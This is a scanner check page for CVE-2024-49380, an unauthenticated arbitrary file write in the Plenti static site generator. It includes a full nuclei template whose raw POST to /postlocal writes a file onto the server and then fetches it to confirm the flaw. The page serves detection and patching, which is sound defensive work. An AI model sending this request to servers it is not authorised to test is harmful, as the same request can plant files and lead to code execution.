Plenti < v0.7.2 - OS Command Injection

criticalseverity

9.8CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Plenti, a static site generator, has an arbitrary file write vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write vulnerability when a plenti user serves their website. This issue may lead to Remote Code Execution. Version 0.7.2 fixes the vulnerability.

Impact

Unauthenticated attackers can write arbitrary files to the server, potentially achieving remote code execution.

Fix

Update Plenti to version 0.7.2 or later.

How to confirm it

Send: POST /postlocal ; GET /{{filename}}.txt?{{wait_for(5)}}
Positive when: contains(body_2, "{{randstr}}") and contains(header_2, "text/plain") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2024-49380 -u <target>

The full check

id: CVE-2024-49380

info:
  name: Plenti < v0.7.2 - OS Command Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Plenti, a static site generator, has an arbitrary file write vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write vulnerability when a plenti user serves their website. This issue may lead to Remote Code Execution. Version 0.7.2 fixes the vulnerability.
  impact: |
    Unauthenticated attackers can write arbitrary files to the server, potentially achieving remote code execution.
  remediation: |
    Update Plenti to version 0.7.2 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2024-297_GHSL-2024-298_plenti/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49380
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-49380
    cwe-id: CWE-78
    epss-score: 0.02705
    epss-percentile: 0.86074
  metadata:
    max-request: 2
    verified: true
    shodan-query: title:"Plenti"
  tags: cve,cve2024,plenti,rce,injection,intrusive,vuln,vkev

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /postlocal HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [{"Action": "create","Contents":"{{randstr}}","File": "static/{{filename}}.txt"}]

      - |
        GET /{{filename}}.txt?{{wait_for(5)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}")'
          - 'contains(header_2, "text/plain")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from